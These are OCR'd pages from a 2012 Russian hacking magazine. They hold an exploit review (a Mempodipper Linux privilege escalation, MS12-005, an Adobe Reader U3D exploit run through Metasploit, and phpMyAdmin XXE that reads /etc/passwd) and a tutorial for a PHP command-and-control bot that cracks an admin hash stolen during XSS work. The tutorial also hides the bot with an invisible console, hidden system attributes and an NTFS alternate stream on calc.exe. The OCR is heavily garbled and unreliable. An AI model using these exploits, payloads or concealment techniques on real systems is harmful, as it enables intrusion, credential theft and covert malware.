Page 59: Xakep 03_2012

цt:J4!·Jii При открытии интерфейса /pгoc/<PID>/mem вы полня ется такой код :

static int mem_open( struct inode* inode, struct file * file) {

file- >private_data = ( void*)(( long)current->self_exec_id); file- >f_mode 1= FМODE_UNSIGNED_OFFSET; return е;·

Стало быть , на открытие нет никаких ограни ч е н ий -любой может

это сделать. Одн ако н а за пись и чтение некоторые ограничения вс ё­

таки уста н овлены. Обратимся к коду функции, которая осуществля­

ет запис ь lприведена тол ьк о наиболее важная часть функции):

static ssize_t mem_write( struct file * file, const char user * buf, size_t count, loff_t * ppos )

! * ... *! struct task_struct * task = get_proc_task(

file- >f_path.dentry- >d_inode); / * .. . *!

mm = check_mem_permission(task); copied = PTR_ERR(mm); if (IS_ERR(mm))

goto out_free;

! * */ if ( file- >private_data != ( void *)( ( long)

current->self_exec_id)) goto out_mm;

1* .. . * !

Здесь проводятся две проверкидля предотвращения неавтори­

эованной записи: check_mem_peгmission и self_exec_id. Функция check_mem_peгmission является простой оберт кой для __ check_ mem_peгmission, вот ч то она делает:

static struct mm_struct * __ check_mem_permission( struct task_struct * task )

struct mm_st ruct *mm;

mm = get_task_mm(task); if (!mm) return ERR_PTR(-EINVAL );

if ( task current) return mm;

if (task_is_stopped_or_traced(task)) {

Примерработыэксплоита Mempodipper

ХАКЕР ОЗ /158/ 2012

Обзор экс пло итов

int match; rcu_read_lock(); match = (ptrace_parent(task) == current); rcu_read_unlock(); if (match && ptrace_may_access(task,

PTRACE_MODE_ATTACH)) return mm;

mmput(mm); return ERR_PTR(-EPERM) ;

Чтобы за пи сь прошла успешно, ее должен осуществлять либо сам

п роцесс ltask == сuггепtl, либо родитель, трассирующий этот про­цесс через рtгасе . Различные трюки с рtгасе не увенчались успехом,

позтому рассмотрим вариант с task == сuггепt. Что если процесс сам за пишет нужные нам данны е себе в память? Очевидно, что н ас в п ер­

вую очередь интересуют процессы с атрибутом suid . Ра ссмотрим su:

$ su " уеееее haw I am а cowboy" su: user уеееее haw I am а cowboy does not exist

Л егко заметить, что н а stdeгг выдается стро ка, созданная с нашим

участием. Казалось бы, мы можем открыть /pгoc/< PID>/mem , с п омощью lseeki) найти нужное место в памяти , с помощью dup211 связать стандартный поток ошибок и файловый дескриптор откры­

того /pгoc/<PID>/mem, записать нужные данные, а затем исполнить шелл-код . Однако не всё так просто. Здесь выполняется вторая про­

верка , в ходе которой текущее значение self_exec_id с равнива ется со значением, с пом ощью которого был создан файловый де скри п ­

тор /pгoc/< PID>/mem. Значение self_exec_id инкреме нтируется при каждом запуске про цесса, поэтому мы не можем п олучитьдоступ к

памяти вышеизложенным способом.

Тем не менее, эту проверку можно обойти : с помощью foгkll мы созда­

ем потомка и внутри него с помощью execll с тартуем новый процесс. Наш форкнутый про цесс имеет значе ни е self_exec_id , равное ее значению у предка . Когда мы за п ускаем execll, sel f_exec_id увеличи­вается на еди ницу. В нашем пото мке мы открываем па мять пр ед ка и

создаем файловый дескриптор для /pгoc/<PID пред ка>/mеm , благо на открытие нет проверок. В предке тем временем за п ускаем su ч ерез execl l, таким образом урав н ивая значения self_exec_id. Далее с помощью, как выразился сам создатель экс плоита , <<о чень черной

магии со кетов юн икс» п е р едаем предкуоткрытый файловый де ­

скриптор от п отомка и возвращаемсяк вышеупомянутому сценарию

dup2 -> ехес. Осталось понять, по какому адресу делать запись. По идее, ASLR должен затруднить нашу зада ч у, однако взгляни на это:

$ readelf -h / bin/s u 1 grep Туре Туре: ЕХЕС (ExecutaЬle file)

Вывод нам как бы нам екает, что программа su использует статич е­

ский адрес секции .text !в ином случае был бы тип DYN, а не ЕХ ЕС) . Это означает, что su в большинстве дистрибутивов скомпилирована без использования Pl Е , с ледовательно, ASLR для секции .text ра бо­тать не будет, что упроща ет написание эксплоита.

И сходный код эксплоита Mempodippeг доступен на exgloit-db .com, EDB-10 18411 . Приме р е го использования представлен на ск р и нш о­

те.

it·!;lдJti Liпu x >=2.6.39, 32- и 64-битные.

~i•J!Iiii•HI Доверьобновлениеядрасвоемупакетномуменеджеруилиустанови

патч вручную.

057

Page 60: Xakep 03_2012

ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ

2 MS12-005 Уязвимость процесса сборки

CVSSV2 ~3

111111 111 11111 11 1

[]IШ

111 11 [AV N/AC M/дu .N/C C/I.C/AC)

Найденная9язвимостьпозволяетвыполнитьпроизвольныйкодна

удаленной системесправами текущего пользователя. Для этого

пользователь уязвимой системы должен зайти на специально сфор­

мированную wеЬ-страницу или открыть злонамеренный файл Office. Уязвимость присутствует в механизме безопасности Object Packageг. Дело в том, что Object Packageг считает ClickOnce-фaйл безопасным, благодаря чему файл такого типа можно внедрить в документ Office. Когда пользователь уязвимой системы открывает документ, внедрен­

ный файл автоматически выполняется . Напомню, что ClickOnce- это технология развертывания, позволяющая создавать самообновляе­

мые приложения Windows, которые могутустанавливаться и запу­скаться при минимальном вмешательстве пользователя . Существует

три способа публикации приложения ClickOnce: с веб-страницы, общего сетевого ресурса или носителя, например ком па кт-диска . Его

можно установить на компьютер конечного пользователя и запустить

локально, даже если компьютер не подключен к сети, или запустить

в оперативном режиме, без установки каких-либо компонентов на

компьютер конечного пользователя. При этом приложения ClickOnce могутобновляться самостоятельно, проверяя наличиедоступных

новых версий и автоматически заменяя все обновленные файлы.

Для реализации атаки в данном случае используем специальным

образом сформированный файл презентации PoweгPoint. Эта про­

грамма позволяет назначить Custom Animation'ы для ОLЕ-пакетов . В отличие от обычных анимаций, мы можем задатьдве специфичные

для OLE анимации [которые называются Object Actions): Activate Contents [активировать содержимое) и Edit Package [редактировать пакет). При Activate Contents выполняются те же действия, что и при двойном щелчке пользователя по встроенному объекту. Таким

образом, Custom Animation'ы позволяют выполнять указанные по-

~ C:\Python27\python.exe

следавательности действий, требуемых для запуска встроенного · СliсkОnсе-приложения с полными правами доступа IFull Tгustl.

В результатевыполнения описанных выше действий на экране

появится ряд диалоговых окон. Однако пользователю не нужно

ничего с ними делать . Custom Animation'ы выполняются, когда PoweгPoint работает в ре ж и м е показа слайдов. Когда PoweгPoint на­

ходится в полноэкранном режиме, после выполнения каждогодей­

ствия анимации происходит восстановление фокуса. После запус~а

СliсkОnсе-приложения мы можем посылать сообщения диалоговым

окнам, чтобы закрыть их.

lj:JЦ!•Jii Уязвимость, описанная в MS12-005, затрагивает два аспекта: 1. Метод определения исполняемого файла. Непропатченный packager.dll определяет, является ли файл испол­няемым, сопоставляя расширения файлов с элементами таблицы

!для удобства назовем ее ехесЕхtТаЫе).

.text:02FA1098 execExtTaЬle dd offset а_ехе ; DATA XREF: CPackage: :_GetCurrentlcon(~IC ~)~69 1 о

.text:02FA1D98 ; CPackaEe: :_GivewarningMsg{ НWND __ * ) +5Е \ о

.text:02FA1D98 ; " .ехе~

.text:e2FA1D9C dd offset а com ; " . сот-' -

.text:e2FA1Dдe dd offset а bat ~ " .bat" -

. text:02FA1DA4 dd offset а lnk " . ln k"

.text :e2FA1DA8 dd offset а cmd " .cmd" -

.text:e2FA1DAC dd offset a_pif " . pif"

.text:e2FA1DB0 dd offset а scr " . scr" -

.text:e2FA1DB4 dd offset а _js ; ". js"

.text:e2FA1DB8 dd offset а _jse ; ". j :se "

. text:e2FA1DBC dd offset a_vbs _; ". vbs"

. text: e2FA10Ce dd offset а - vbe ; ". vbe"

.text:e2FA1DC4 dd offset a_wsh ; " .wsh"

.text:e2FA1DC8 dd offset a_sct ~ " . stt '

.text:e2FA1DCC dd offset a_vb _; " .vb"

.text:e2FA1DD0 dd offset a_wsc ; " .wsc '~'~

О&мен nакетами с lb.wo~dp~e ss .com [72.233.69.6] no 32 &а~т: I!IEIEI

а Ответ от 72.233.69.6: ЧИСЛО & а~т =32 В ре 1·1Я =2 40t·1C ТТL =127 Ответ от 72.233.69.6: ЧИСЛО &а~т =32 вреt·1Я =166t1c ТТL =127 Ответ ОТ 72.233.69.6: ЧИСЛО &а~т =32 вреt·1Я =168t·1C ТТL =127

:ответ от 72.233.69.6: ЧИСЛО &а~ т =32 вреt·1Я =166t1C ТТL =127

~татистика Ping nля 72.233.69.6: 1 Пакетов: отnравлено = 4, nолучено 4, nот е ряно = 0 (0% nотерь), Приблизительное время nриема-nереnачи в мс :

1 Минимальное = 166мсек, Максимальное = 240 мс ек, Ср е nне е = 185 мсек

C:,tmp)nslookup exploitshop.wo~dp~ess.com 1*** Can' t f ind se1•ve1' nате fo1• add1•ess 192 .168. 0. 2: Non - e x i ste n t domain ~e~ve~: google - puhlic - dns - a.google.com rdd~ess: 8.8.8.8

~on-autho~itative answe~: ~ame: lb.wo~dp~ess.com ~dd~esses: 74.200.243.251, 72.233.2.58, 72.233.69.6, 76.74.254.120 1 76.74.254.123, 74.200.244.59 rliases: exploitshop.wo~dp~ess. c om

C:,tm >

Ре зу ль тат эксплуатацииуязви мости-запущенный Python-скри пт

058 ХАКЕР 03/1 58/2012

Page 61: Xakep 03_2012

.text:e2FA1DD4 dd offset a_wsf

.text:e2FA1DD8 dd offset a_wmz ".wsf" " .wmz "

Просто прокручиваем в цикле этутаблицу и смотрим, имеет ли

встроенный файл такое же расширение, как и элементтаблицы. Для

этого используется функция l s P гogiOinlist:

llh ; int offset execExtTaЬle es i ; pExtName

dangerousTaЬle

.text:e2 FAПF4

.text:e2FA72Fб

.text:e2FA72FB

.text:e2FA72FC

. text: e2FA72FE

push push push push call

е ; int ?I sProgiDinl ist@@YGHPBG0PBQBGI@Z

IsProgiDinlist(ushort const * ,ushort const * , ; ushort const * const * ,uint)

Нюанс состоит в том, что в таблице приведена лишь часть

существующих расширений для исполняемых файлов. В качестве

примера можно взять ру или pl. MS12-005 обходитэту проблемус по­мощью функции AssoclsDangeгousl l , которая проверяет расширения исполняемых файлов:

. text:e2FA6All push еах

.text:e2FA6A12 call ds: __ imp __ AssocisDangerous@4 ; Assoc isDangerous(x)

.text:e2FA6A18 test еах, еах

. text:e2FA6Alд jnz short loc_2FA6A42

2. Вывод предупреждени й системы безопасности пользователю.

Пропатченный packager.dll выдает предупреждения, только если файл является исполняемым. Н о рассмотрим функцию CPackage __ _ GiveWaгningMsgi HWND hWndl . Она вновь проходит по табли це ехесЕхtТаЫе, и, если расширение встроенного файла не содержится

в ехесЕхtТаЫе, никаких предупреждений не выдается.

it·1;ldfjfi Windows ХР, Windows Vista, Windows Sегvег 2008 SP2, Windows 7.

fi•J!Iij[•J:I Существует обновление, устраняющее эту уязвимость.

3 Уязвимость в Adobe Reader при обработке UЗD-данных

CVSSV2 10.0 11111 11 11 111 11 111111

1ШIШ

111 1 IAV: N/ АС: L/ Au: N / С: С/1: С/ А: С)

Уязвимость вызвана ошибкой при обработке U 3D-данных. Такая

ошибка может привести к сбою. П ри ус п ешной эксплуатации эта

уязвимость позволяет злоумышлен ни ка м установить полный

контроль надсистем ой. Для обхода DEP используется RОР-цепочка, основанная на библиотеке icucnv36.dll. Для обхода ASLR выполняет­ся JavaScгipt-кoд, реализующий технику heap spraying. Кратко опишем U3D-компоненты, чтобы лучше пони мать, какие из

них используетсплоит:

U3D- на текущий момент единственный п оддерживаемый под­

тип и 3D - объект.

• 3DD lнеобходимl -определяет поток или словарь с 3D-данными, подлежащими рендерингу.

• 3DA lнеобязателенl - словарьактивации, определяющий время, когда следует показывать 3D-данные .

• 3D I Iнеобязателенl - переменная логического типа, определяю­щая основной режим использования . Значение tгue соответствует

интерактивному режиму, false- взаимодействию через JavaScript. DIS lнеобязателенl- имя, определяющее состояние 3D-данных

придеактивации.

ХАКЕР ОЗ/ 1 58/ 201 2

Обзор эксплоитов

pdf-~rser.py -о 1В "sr .pdr -r

Вредоносное содержи мое 3D -объекта в теле рdl-файла

• А- имя , под которым должна быть активирована аннотация . РО- аннотация должна активироваться, как только открывает­

ся страница, содержащая аннотацию на 3 D -данные.

lj:JЦ!e]ii Последовательностьзапуска объектов:

Объект 4- действие OpenAction инициирует обращение к JavaScript. Объект 14-JavaScгipt ссылается на объект 15. Объект 15- J avaScгipt-кoд применяеттехнику heap spraying, затем переходит на вторую страницу.

Объект 11-определение 3D-данных и описание их форматирова­

ния.

Объект 1 О - 3D-данные, которые будут показываться !вероятно, поврежденные!.

Объекты, н а которыеследуетобратить внима н ие :

Объект 1 О -ссылается на именованные словари I/3D, /U3DI. Объект 11-ссылается на именованные словари I/3DI, /3DD, / 3D, / 3DAI. Объект 15 - содержит JаvаSсгiрt-коддля реализации heap spraying и перенаправления на вторую страницу !инициирует процесс отображения 3D-данных ! .

Сплоит реализован в Metasploit lпример с полезной нагрузкой в виде запуска калькулятора):

msf > use exploit/windows/fileformat/adobe_reader_uЗd

msf exploit(adobe_reader_uЗd) > set pay l oad windows/exec payload => windows/exec msf exp loit (adobe_reader_uЗd) > set cmd calc . exe cmd => calc . exe msf exploit ( adobe_reader_uЗd ) > show options Module options (exploit/windows/fi leformat/adobe_reader_uЗd):

Name Cur rent Setting Required Descr i ption

F I L ENAМE msf.pdf OBFUSCATE false

yes по

Payload options (windows/exec): Name Current Setting Requ i red

CMD calc.exe yes

EXITFUNC process yes

The file name ЕnаЫе JS obfuscation

Description

The command string to execute Exit techni que: seh,thread,process,none

059

Page 62: Xakep 03_2012

ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ

Explpit target: Id Name

е Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 оп Win ХР SРЗ

msf exploit(adobe_reader_uЗd) > exploit [*] Creating 'msf.pdf' file .. . [+] msf.pd~ stored at /home/pikofarad/.msf4/local/msf.pdf

i'·'.J1Jfi Adobe Read eг 9.4.0 1 9.4.5 1 9.4.6 под Windows ХР SP3.

,_i,J!Iiii•J:I Существует обновление, устраняющее эту уязвимость.

' LFI в phpMyAdmin через ХХЕ-инъекцию

CVSSV2 5.0 111111 111 111 111 11111 111

[AV:N/ АС: L/Au :N/C: Р/1 :N/A:N 1

[DШ В начале года исследователь Магсо Batista опубликовал весьма интереснуюуязвимо стьтипа Local File lncluding. Эксnлуатируется она нетривиально, через ХХЕ-инъекцию [ХХЕ -ХМ L eXteгnal Entity], которая представляетсобой разновидность ХМ L-инъекции .

Напомню, что nри nомощи ХМL-инъекции [например, GЕТ­

запроса к веб-серверу] можно изменить содержимое ХМL­

документа. Обычно интерес представляютфайлы базы данных

xmiOB, где содержится информация о пользователя х:

c?xml version="l . e" encoding= "IS0-8859-1" ?> cusers >

cuser> cusername>gandalfc/username> <password> !cЗ </password>

cuserid >0</user id > cmai l>[email protected]< /mail>

</user>

<user> cu sername>Stefanec/ username> cpa ssword>wlsЗc </password>

cuserid >500</userid> cmail >Stefane@whysec . hmm</mail>

</user>

<user> < usernaшe>tony </username>

<password >UnбR34kЬ!e</ password >

cuserid> 500</userid> cmail>s4tan@hell . com</mail>

c/user> </users >

Смышленый читатель без труда nроведет аналогию с SQL­инъекциями, а я тем временем nерейду непосредственно к инъек­

циям подтипа ХХЕ . В документах ХМ L существуюттак называемые примитивы [entities], которые объявляются в начале докуме нта в об­ласти ОТО. Существует несколько видов при м итивов, но сейчас нас

интересуюттолько внешние [e xteгnal entities]. Если в определении примитива присутствует URI, то он называетс я внешним. Соответ­

ственно, парсер должен получитьдоступ к этому URI и включить его содержимое в документ, если это было задано, например, так:

c?xml version="1.0" encoding= "utf-8" ?> < !DOCTYPE foo

060

<!ELEMENT foo ANY > <!ENTITY bar SYSTEM "file: ///etc / passwd" >

> <foo>&bar;</foo>

Здесь оnределяется nримитив Ьаг, который ссылается на файл /et€/ passwd, и nри обработкедокумента его содержимое включается в него. Кстати говоря, в ХМL-документ можно не только включать

локальные и удаленные файлы.

В нем можно запускать исполняемые файлы, если парсеру раз­

решено это делать . По стандарту это выглядит nримерно так :

c?xml version= "1.0 " encoding="utf-8" ?> < ! DОСТУРЕ foo

[ <! ELEMENT foo ANY> <!NOTATION GIF SYSTEM

"http: //my-cool-site.com/ ShowGif.exe" > с! ЕNПТУ bar SYSTEM "http ://not-my-cool-site.com/ bar.gif"

NDATA GIF>

> cfoo>&bar; c/foo>

В этом документе с п омощью программы ShowGif.exe обрабатыва­ется рисунок baг.gif. В некоторых случаях мы можем внедрить nо­

добную конструкцию через ХМ L-и нъекцию и выполнить требуемый

код. Более подробная ин фа об ХМ L-инъекциях есть на сайте OWASP [goo.gi/BBG9C].

lj:J4!•Jij В phpMyAdmin имеется функция имnорта базы данны х из заданного

пользователем ХМ L-фа йла. Уязвимос ть заключается в том, что по­

сле загрузки специально сформированного ХМL-документа атаку­

ющий получает возможность [ограниченную nравами веб - сервера]

прочитать nрои звольный файл в системе или локальной сети.

Уязвимость на ходится в файле l ibгaгies\impoгt\xm l .php, где функция simplexml_load_stгing[] вызывается без проверки на су ще­ствование ссылки на внешний примитив:

$xml = simplexml_load_string($buffer, "SimpleXMLElement"J LIBXML_COMPACТ);

Патченные версии phpMyAdmin для предотвращения инъекции используют функцию l ibxml_disaЫe_e ntity_loadeг[], прежде чем за­

гружать ХМ L-документ.

Компания SECFORCE разработала модуль к Metasploitдля экс­плуатацииэтойуязвимости.ОнавтоматизируетnроцессLFiследую­

щи м образом:

1. Логинится в phpMyAdmin с помощью предоставленных реквизи­тов.

2. СоздаетХМL-документ, применяя ХХЕ-инъекции для заданного

файла.

3. Загружаетфайл сХМL-документом .

4. Пол учаетуказанный файл с серве ра.

Возможные оnции эксnлоита и nример успешной эксплуатации по ­

казаны на скриншоте.

if.1;Jдjfi PhpMyAdmin 3.4.х вnлоть до 3.4.7. 1 и 3.3.х вплоть до 3.3. 1 0.5.

f'·'••••t·'a Обновиться минимум до вер сии phpMyAdmin 3.4.7. 1 [3 .3.1 0.5] или установить соответствующий патч . ::х::

ХАКЕР 03/158/2012

Page 63: Xakep 03_2012
Page 64: Xakep 03_2012

взлом lqbzllhttp ://essenzo.netl ·

ows КОДИМ БОТА_АЛЯ РАСПРЕДЕЛЕННЫХ ВЫЧИСЛЕНИИ

062

Существует огромное количество

языков программирования.

Кто-то выбрал для себя С, кто­

то- ASM, а кто-то- Python. Я, например, отдал предпочтение

не самому экзотическому

языку- РНР. А всё потому,

что мне чаще приходится

работать с вебом, чем

с десктопом. Но бывают и такие

моменты, когда тебе нужен

специализированный софт, а его

просто-напросто нет.

00 U SPEAK ENGLISH? NO, РНР

bjt.ly/WdbrO ­cлoвapи для брута от Античата;

ш~-один из консольных

брутеров; www.l2ko.de ­кoнвepтep батников.

На нашем диске ты сможешь найти все необходимые файлы и исходники,

описанные в статье.

Однажды. во время очередных ковыряний очередной XSS, ко мне в лаги попал хеш па рол я администратора нужного мне ресурса. Ко­

нечно же, его необходимо было расшифровать, и я сразу обратился

к различным онлайн-сервисам, помогающим с расшифровкой.

Ни один из них мне не помог.

С этой душевной печалью я отправился на ха к-форумы, где

в специальных разделах оставил просьбу о помощи в расшифров­

ке. Но и там меня ожидал фейл. Однако сайтик был весь из себя

расчудесный, и бросать его админку мне совсем не хотелось.

Заварив очередную кружку кофе, я начал думать, как поступить.

Брутить на своей машине не получилось бы- процессор слабоват.

Значит, нужно было где-то взять компьютер с хорошими характе­

ристиками, и желательно не один. Покупать себе домой 20 новых мощных серваков ради расшифровки одного хеша как-то не входи­

ло в мои планы. Поэтому я купил несколько выделенных серверов

для распределения вычислений у одного хостера. Осталось всего

ничего- настроить расшифровку. И вот тут я решил углубиться

ХАКЕР 03/158/2012

Page 65: Xakep 03_2012

Комnилим бот

в процесс. А n очему бы не написать бота, пр и н имающего команду

на расшифровку хеш а с общего сервера? Можно б ыло и написать,

только вот проблема заключалась в том, что я з нал только скрипто­

вые языки, а с десктопом никогда не имел дел а . И тут в моей памя­

ти всплыла такая вещь, как всевозм ожные рhр2 е хе-компиляторы.

ОБЩАЯ СХЕМА Бота я решил заставить действовать по вполне определенному

плану. Итак , существует сервер, на который добавляются << За­

дания » . Боты отстукивают на него каждые пять минут, проверяя,

не появилось ли для них новое задание.

И если появилось, посылают серверу сигнал о том, что б рут

начался. Сервер, в свою очередь, добавляет в базу запись о том,

кто работает, а кто- нет. После завершения Брута бот отправляет

серверу запрос с уведомлением, что работа окончена. Этот запрос

также может содержать расшифровку. При этом нужно сделать так,

чтобы боты использовали разные словари для брутфор са , так как

брутить один и тот же словарь много раз просто не имеет смысла.

Также следует учесть, что хеш ей может быть много, поэтому мы

не станем гонять весь словарь через брутфорс для каждого из них.

В процессе б рута мы будем сразу же сверять результаты со все-

ми хешами, которые нужно расшифровать. Вообще, скрипт будет

иметь всего несколько функций и выступит, так сказать, в качестве

обертки [шедулера), <<дергающей>> уже сам брутфорсер. Именно поэтому нам нужно выбрать такой брутфорсер, который работает

через консоль, так как далее мы переведем скрипт вехе, который

тоже работает в консольной среде. Я использовал наработку моего

знакомого- она имеет такой синтаксис:

mdS.exe {файл хешей} {файл словаря} {где сохранять}

Здесь первый параметр-это название файла с хешами для

брутфорса [один хеш= одна строка), второй параметр-название файла со словарем, а последний параметр-название файла,

в который брутер будет записывать результаты . Задачи серве­

ра- правильно установить бота, периодически чистить рабочую

папку, а также подавать сигналы о том, что пора бы уже начать

б рут по таким-то хешам. Для начала напишем функцию обращения

к серверу для получения текущего задания:

ХАКЕР 03 /158/2012

РНР-бот для Windows

function mySettings() {

$settings = file_get_contents( 'http://adres.com/?do=mysettings' );

if ($settings != '' ) {

list($status, $statusdata) explode( ' 1' , $settings, 2 );

$config = array ( 'status' => $status, 'data' => $statusdata);

return $config;

else return false;

Эта фун к ция обращается к нашему гейту, ловит ответ, и, если

он не п устой , делит его на две части там, где есть символ 1. Первая часть представляет собой команду для бота, а вторая- допол­

нительные данные для этой команды. Теперь напишем функцию

брутфорса на основе заданных в виде аргумента хешей [массив) :

function bruteHashes($hashes) { /1 Сохраняем хеыи для брутера file_put_contents( './brute.txt' , implode( "\r\n" , $hashes));

// Говорим серверу, что мы уже работаем file_get_contents(

'http://adres.master .servera.com/?do=iamworking' );

/1 Брутим passthru( 'mdS.exe brute.txt vocabulary.txt results.txt' );

Сохраняем резу ьтат на сервере no Ф r $uploader = ftp_connect( 'ftp://adres.master.servera.com' );

ftp_login($uploader, 'login' , 'password' ); ftp_put($uploader, './results/' .time(). ' .txt' ,

063

Page 66: Xakep 03_2012

взлом

'./results.txt' , FTP_ASCII);

ftp_close($uploader);

// Говорим серверу, что мы закончили file_get_coпteпts(

'http://adres.•aster.servera.com/?do=iamfinished' ); }

Итак, функция берет в качестве аргумента массив с хешами

и сохраняет его в удобоваримом для брутера формате, то есть

в виде текстового файла, в каждой строке которого находится

один хеш. Затем бот стучит на сервер с сигналом о том, что начал

работать. Это нужно для того, чтобы сер вер не записывал бота

в <<мертвые >> машины, если он не будет отстукивать каждые пять

минут !тайм-аут по умолчанию), и помнил , что бот функционирует. Далее заводим самого бота, указав ему созданный файл хеш ей,

установленный словарь и файл для сохранения результатов . Соз­

даем также функцию <<установки >> бота. Установка представляет

собой скачивание и последующее сохранение словаря, по которо­

му нужно брутить:

fuпctioп iпstallVocab{)

{ $vocabulary = file_get_coпteпts(

'http://adres.com/unique_vocabulary.php' ); file_put_coпteпts( './vocabulary.txt' , $vocabulary);

Серверный с крипт, к которому обращается бот, должен воз­

вращать исключительно уникальные словари, чтобы у каждой

машины был свой <<словарный запас>>. Также стоит оставить

возможность менять словарь с помощью команды, отправляемой

через мастер-сервер . Теперь же нам необходимо накадить самую

главную функцию- функцию шедулера, выполняющую также

команды мастер-сервера. Объем статьи не позволяет привести

здесь код этой функции полностью, поэтому укажу лишь ее кейсы

!полный код ищи на нашем диске): Ьгutе-брут;

• сlеап- очистка данных , полученны х в результате предыдущих

брутфорсов; iпstаll-установка;

ехit-выход.

По дефолту шедулер находитс я в режиме ожидания команд .

В качестве тайм-аута мы указали 300 секунд. Это временной интервал обращения б ото в к нашему серверу. Далее идет запуск

команд с учетом данных , переданных сервером боту, причем по­

сле выполнения команды мы делаем паузу lв некоторых случаях)

- - -

Q Bat Т о Ехе Converter v1. 5 ~(g]r8J

&~~ '~============~==============~l c=J ~~' L_ ___________________________________ c=J -~ .. ...-... .....

Visblty 0--­о---

0 Addv.sta __ _

Oo..r.nte-Res

С-'< 11 .... t

\VorЬ-Iodir~tory

@ anontdirodory

от..._...,-

ЕлаурЬоn

0Et><тn>tlheor<I!J'10' ·-l 0Adddeaщ>ieo'

P.w~ter:

11

Компилим батник дпя скрытного запуска брутера

Exit

и снова запускаем шедулер. Нужно учесть, что файл словаря не­

обходим уже при первом обращении к серверу, поэтому сделаем

предохранитель, который подготавли вает словар ь и запускает

шедулер :

if (!file_exists( './vocabulary.txt' ))

iпstallVocab();

} startScheduler();

компилим Теперь, когда мы объединили всё это в один файл, перед нами

встает задача создать из него полноценный ехе. В этом нам по­

может небольшая тулза с длинным названием Bamba lam РНР ЕХЕ Compileг/Embeddeг.

Она представляет собой билдер, который создает ехе из РНР­

файла. Билдер за всё время его использования ни разу не подво­дил, работал отлично, без всяки х ба го в !респект авторам!). Этот

билдер позволяет компилить экзешники как для РНР 4.0, так и для более новых версий интерпретатора. В простейшем случае компи­

ляция в Bambalam выглядит вот так:

bamcompile [-optioпs] iпfile.php [outfile . exe]

ОБЗОР КОМПИЛЯТОРОВ ИНТЕПРЕТИРУЕМЫХ ЯЗЫКОВ ПРОГРАММИРОВАНИЯ

1 РНР DeveiStudio bl M<~miS4r

Однозначный лидер

по конвертированию РНР­

скриптоввполноценные

nрограммы . Тут

и визуальная среда

программирования,

и отладка кода,

и подключение различных

модулей и многое другое .

2 Php2exe tmJylyi'{4Y_R

Преобразует исходный

код на РНР в исnолняемый

файл. Чтобысозданное

nриложемне могло

запуститься, в той же

директории должна

иметься библиотека

php5ts.dll .

3 Bambalam Embedder Ьit.ly/wpSпiZ .

Более мощный инструмент,

не имеющий GUI­интерфейса и позволяющий

па ковать прямо в консоли .

Также комnилирует целые

проекты с исnользованием

различных библиотек,

наnример cURL.

' ру2ехе

Ьit.ly/3~ lilli..Y!: Позволяет компилировать

скрипты,написанные

на Питоне, в экзешники.

Помимо исполняемого

файла, создаетнесколько

библиотек, помогающих

готовой программе

заnуститься .

5 Peri2Exe Ьit.ly/y29qШ

Отличный инструмент для

перевода перловки вехе .

Создает независимый

исполняемый файл ,

который работает в любых

системах и не требует

интерпретатора .

ХАКЕР 03/158/2012

Page 67: Xakep 03_2012

РНР-бот для Windows

Сервис cmdS.ru предлагает Вам средства проверки стойкости различных видов хеш-кодов (SНAl, З2 b1t MDS, MD4, mysql и т .д.). Наша компания занимается вопросами компьютерной безопасности с 2006 года. База данных самая большая в мире и на сегодняшний день содержит около 4,800,000,000,000 записей, 95% из которых уникальны. Суммарный объем данных распределен по кластеру и составляет 50 Терабайт•

• Пожалуйста Зарегистрируйтесь или Автошчуйтесь

. - .... . . -;. ·-f.,~

Сервис на базе распределенных вычислений для расшифровки МD5-хешей

Итак, бот готов. Теперь займемся сервером. Во-первых, нужно

зафиксировать в базе те боты, которые успешно отстучали нам

хотя бы один раз, то есть, так сказать, установленные боты. Для

этого выполняется проверка IР-адресов в базе [можно присвоить

специальный идентификатор каждой машине, который она будет

передавать каждый раз, чтобы различить между собой ха сты,

находящиеся за NAT), после чего в базу добавляются те адреса, которые не были в ней найдены. Их можно выводить в панели

управления ботами. Но на тот случай, если бот уже брутит и немо­

жет отстучать, что он живой, можно также сделать в таблице

столбец lastcallback. Там отображается число, которое указывает, когда бот отстучал в nоследний раз. Таким образом, при каждом

обращении к серверу зто значение обновляется.

Если оно больше 300 [дефолтный пятиминутный интервал отстукивания бота), то это значит, что бот работает или находится в офлайне. Затем нужно создать генератор конфигов. Конфиг, как

ты, возможно, заметил по вышеприведенным кускам кода, состо­

ит из двух частей, объединенных знаком 1. Первая часть отвечает за команду, которую nолучает бота,

а вторая- за дополнительные данные, нужные для исnолнения

этой команды. Чтобы дать команду на установку, мы должны

отправить что-то вроде iпstalllvocab_123123123.txt, где iпstall­этo команда установки бота, а vocab_123123123 .txt- это файл

словаря, который надо установить. Мы также можем очистить все

рабочие файлы, просто удалив их,- для этого достаточно по­

слать команду clean. Ну и самая главная команда- это bгute.

Второй параметр этой команды объединяет хеш и для б рута

с помощью двоеточия:

brute)c4ca4238aeb92382edccse9aбf75849b:

c81e728d9d4c2fб3бfeб7f89cc14862c:eccbc87e4b5ce2fe28Зe8f

d9f2a7baf3

Все результаты заливаются на ПР-сервер, который находится

там же, где и центр управления . Попадает всё это дело в папку

гesults.

Для того чтобы добавить в базу готовые результаты, бот <<дер­

гает» скрипт с передачей параметра iamfinished. С криnт сервера

Рабочий бот

ХАКЕР 03/158/2012

проходит по всем файлам в папке гesults, поочередно открывает

их и добавляет в базу.

ХАКЕРСКИЕ ФИЧИ Теперь перейдем к оптимизации нашего самопального комплекса .

Во-первых , брутер, бот и библиотеку можно запаковать в один

экзешник, причем так, что процесс функционирования бота станет

невидимым, то есть консоли не будет видно.

Для этого можно nрибегнуть к подручным средствам, а именно

составить батник следующего содержания: %CD%\bot.exe. Далее нужно с качать софтин к у ВАТ То ЕХЕ Conveгteг 1.5 и скомпилировать в ней этот батник, предварительно указав в настройках invisiЫe

application и выбрав на вкладке include три файла: bot .exe, библио­теку [php5ts.dll) и сам консольный брутер [md5.exe).

Программка создаст один файл, работающий в фоновом режи­

ме . Затем можно сделать так, чтобы скрывались и сами файлы . Для

этого есть несколько способов. Один из них- это, например, про­

стое использование штатной виндавай софтины attгib с флагами

'+h ' и '+s'. При мер:

attrib "%CD%\bot.exe" +h +s

Такая команда скроет и сделает системным наш файл бота.

Спрятать файл в потоках NTFS немного сложнее:

cd "%systemroot%\system32 type packed_bot.exe>calc.exe:bet.exe

Запуск при этом осуществляется тоже с помощью батника:

cd "%systemroot%\system32 start .\calc.exe:bet.exe

Наш файл в том числе загружает результаты на FТР. Файервол

